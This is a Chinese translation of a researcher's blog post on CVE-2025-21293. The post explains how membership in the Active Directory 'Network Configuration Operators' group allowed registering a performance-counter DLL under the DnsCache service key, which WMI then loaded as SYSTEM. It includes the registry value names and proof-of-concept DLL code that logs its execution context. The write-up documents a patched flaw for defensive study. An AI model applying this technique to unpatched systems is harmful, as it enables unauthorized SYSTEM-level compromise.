【翻译】Active Directory Domain Services Elevation of Privilege Vulnerability (CVE-2025-21293) A tale of mediocracy
引言
2024 年 9 月,在一次客户项目中,我遇到了 "Network Configuration Operators" 组,这是 Active Directory 的一个内置组(默认)。由于我之前从未听说或遇到过这个组成员身份,它立即引起了我的注意。最初,我试图查找它是否存在任何安全隐患,就像它更为人知的 DNS Admins 和 Backup Operators 组一样,但没有找到任何相关信息。关于这个组的信息出奇地少,但我忍不住进行了深入研究。这让我深入研究了 Registry Database 访问控制列表和武器化的可能性,最终发现了CVE-2025-21293。在进入正文之前,我要特别感谢 Clément Labro,他最初在寻找武器化 performance counters 方面做了大量工作(希望在文章结束时这一点会更有意义),以及我在 ReTest Security ApS 的同事们,他们为我提供了该领域的知识和实践机会。
Network Configuration Operators
"Network Configuration Operators" 组是所谓的默认 Active Directory 安全组之一。当你设置本地域控制器时,该组和其他类似组会自动创建。
Microsoft Learn Documentation
我找到了这篇存档文章,据我了解,这是最初详细介绍 "Network Configurations Operators" 组的引入和功能的原始文章,日期是 2007 年。从文章中可以清楚地看出,该组旨在为用户提供操作其机器网络接口的权限,但不给予完全的本地管理员权限。表面上看这是合理的,但由于某种原因,Microsoft 让这个旧的内置组在系统上保留了过多权限。存档 KB 文章
whoami /groups
的输出
CreateSubKey
我解析了 Registry 数据库访问控制列表,发现用户组访问控制列表权限中存在一个异常,该组对两个敏感的服务相关 Registry 键(DnsCache 和 NetBT)持有 "CreateSubKey" 属性。
根据 Registry Key Security and Access Rights 文档,KEY_CREATE_SUB_KEY
属性仅用于在现有 registry 键下创建子键。
只有当引入下一个谜题部分时,这才变得有趣。因为 Windows 允许其用户使用系统服务和应用程序的Performance Data
。
武器化 Performance Counters
从高层次来看,Performance Counters 功能通过 Performance counter consumers(如我们示例中的 PerfMon.exe 或 WMI)从系统上的服务和应用程序中检索和处理数据。对我们来说,这意味着能够在系统上运行代码,并在 WMI 服务(NTSYSTEM)的安全上下文中运行。但首先让我们分析如何注册 Performance Counter。
OpenPerformanceData Documentation
要注册性能监控例程,程序员必须注册 4 个 registry 子键:
-
Library(你的 performance DLL 的名称) -
Open(你的 DLL 中 Open 函数的名称) -
Collect(你的 DLL 中 Collect 函数的名称) -
Close(你的 DLL 中 Close 函数的名称)
通过在 DnsCache 服务 Registry 键下注册子键,如下例所示,我们已成功映射了 Performance Counter。
概念验证代码
以下是 Performance Counter DLL 的框架,包含必要部分但不包含任何逻辑。
#include<Windows.h>// Exported functions for Performance Counterextern"C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);extern"C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);extern"C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();// Example implementation of the Open functionDWORD APIENTRY OpenPerfData(LPWSTR pContext){// Implement logic for initializing the performance counterreturn ERROR_SUCCESS; // Return success}// Example implementation of the Collect functionDWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned){// Implement logic for collecting performance data// Populate ppData, pcbData, and pObjectsReturned as neededreturn ERROR_SUCCESS; // Return success}// Example implementation of the Close functionDWORD APIENTRY ClosePerfData(){// Implement logic for cleaning up resources or closing the performance counterreturn ERROR_SUCCESS; // Return success}// DLL Entry Pointextern"C"BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved){switch (reason) {case DLL_PROCESS_ATTACH:// Implement initialization logic for when the DLL is loadedbreak;case DLL_THREAD_ATTACH:// Optional: Logic for thread initializationbreak;case DLL_THREAD_DETACH:// Optional: Logic for thread cleanupbreak;case DLL_PROCESS_DETACH:// Implement cleanup logic for when the DLL is unloadedbreak; }return TRUE;}
由于 Itm4n 已经探索过利用 performance counters 的路径,我借鉴了他的工作成果和概念验证代码,这些代码能够优雅地记录 DLL 中导出函数的执行上下文。这是他在 2020 年博客文章中分享的实现。
#include<iostream>#include<Windows.h>#include<Lmcons.h> // UNLEN + GetUserName#include<tlhelp32.h> // CreateToolhelp32Snapshot()#include<strsafe.h>extern"C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);extern"C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);extern"C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();voidLog(LPCWSTR pwszCallingFrom);voidLogToFile(LPCWSTR pwszFilnema, LPWSTR pwszData);DWORD APIENTRY OpenPerfData(LPWSTR pContext){ Log(L"OpenPerfData");return ERROR_SUCCESS;}DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned){ Log(L"CollectPerfData");return ERROR_SUCCESS;}DWORD APIENTRY ClosePerfData(){ Log(L"ClosePerfData");return ERROR_SUCCESS;}voidLog(LPCWSTR pwszCallingFrom){ LPWSTR pwszBuffer, pwszCommandLine; WCHAR wszUsername[UNLEN + 1] = { 0 }; SYSTEMTIME st = { 0 }; HANDLE hToolhelpSnapshot; PROCESSENTRY32 stProcessEntry = { 0 }; DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0; BOOL bResult = FALSE;// Get the command line of the current process pwszCommandLine = GetCommandLine();// Get the name of the process owner GetUserName(wszUsername, &dwPcbBuffer);// Get the PID of the current process dwProcessId = GetCurrentProcessId();// Get the PID of the parent process hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); stProcessEntry.dwSize = sizeof(PROCESSENTRY32);if (Process32First(hToolhelpSnapshot, &stProcessEntry)) {do {if (stProcessEntry.th32ProcessID == dwProcessId) { dwParentProcessId = stProcessEntry.th32ParentProcessID;break; } } while (Process32Next(hToolhelpSnapshot, &stProcessEntry)); } CloseHandle(hToolhelpSnapshot);// Get the current date and time GetLocalTime(&st);// Prepare the output string and log the result dwBufSize = 4096 * sizeof(WCHAR); pwszBuffer = (LPWSTR)malloc(dwBufSize);if (pwszBuffer) { StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'rn", st.wHour, st.wMinute, st.wSecond, dwProcessId, dwParentProcessId, wszUsername, pwszCommandLine, pwszCallingFrom ); LogToFile(L"C:\LOGS\RpcEptMapperPoc.log", pwszBuffer);free(pwszBuffer); }}voidLogToFile(LPCWSTR pwszFilename, LPWSTR pwszData){ HANDLE hFile; DWORD dwBytesWritten; hFile= CreateFile(pwszFilename, FILE_APPEND_DATA, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);if (hFile != INVALID_HANDLE_VALUE) { WriteFile(hFile, pwszData, (DWORD)wcslen(pwszData) * sizeof(WCHAR), &dwBytesWritten, NULL); CloseHandle(hFile); }}extern"C"BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved){switch (reason) {case DLL_PROCESS_ATTACH: Log(L"DllMain");break;case DLL_THREAD_ATTACH:break;case DLL_THREAD_DETACH:break;case DLL_PROCESS_DETACH:break; }return TRUE;}
最终阶段
一旦 Registry 键被映射且 DLL 位于磁盘上(或理论上位于网络可达的某个位置),就到了启动并期待成功的时候了。现在请记住我之前提到过 Perfmon.exe 作为 Performance Counter Consumer,通过 Explorer 启动 Perfmon.exe 实用程序,在下面截图中显示的界面中,我们可以看到我们的日志记录功能的执行。
当前用户的安全上下文是执行 Perfmon.exe 的上下文,因此这并没有什么特别令人兴奋的地方。当然,除了证明我们正确实现了 Performance Counter。
现在,在这种情况下武器化 Performance Counter 依赖于使用 WMI 作为 Consumer 来查询 Performance Counters,
从截图中可以清楚地看到,恶意 DLL 已在 SYSTEM安全上下文中执行。这是本博客中的最终证明,确认了在 2025 年 1 月 14 日通过引入 1 月安全更新修复 "Network Configuration Operators" 组之前,在特定条件下成功突破系统完整性的可能性。
最终思考
这个意外的任务既有趣又是一次很好的学习经历。它确实激励我更深入地学习和研究 Windows 内部机制。随着 1 月安全更新的发布,这个特定的路径已被修补,现在 "CreateSubKey" 权限似乎不再附带 "Set value" 权限,后者允许将键名更改为 "Performance",这是利用的初始条件。
原文始发于微信公众号(securitainment):Active Directory Domain Services 权限提升漏洞 (CVE-2025-21293)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论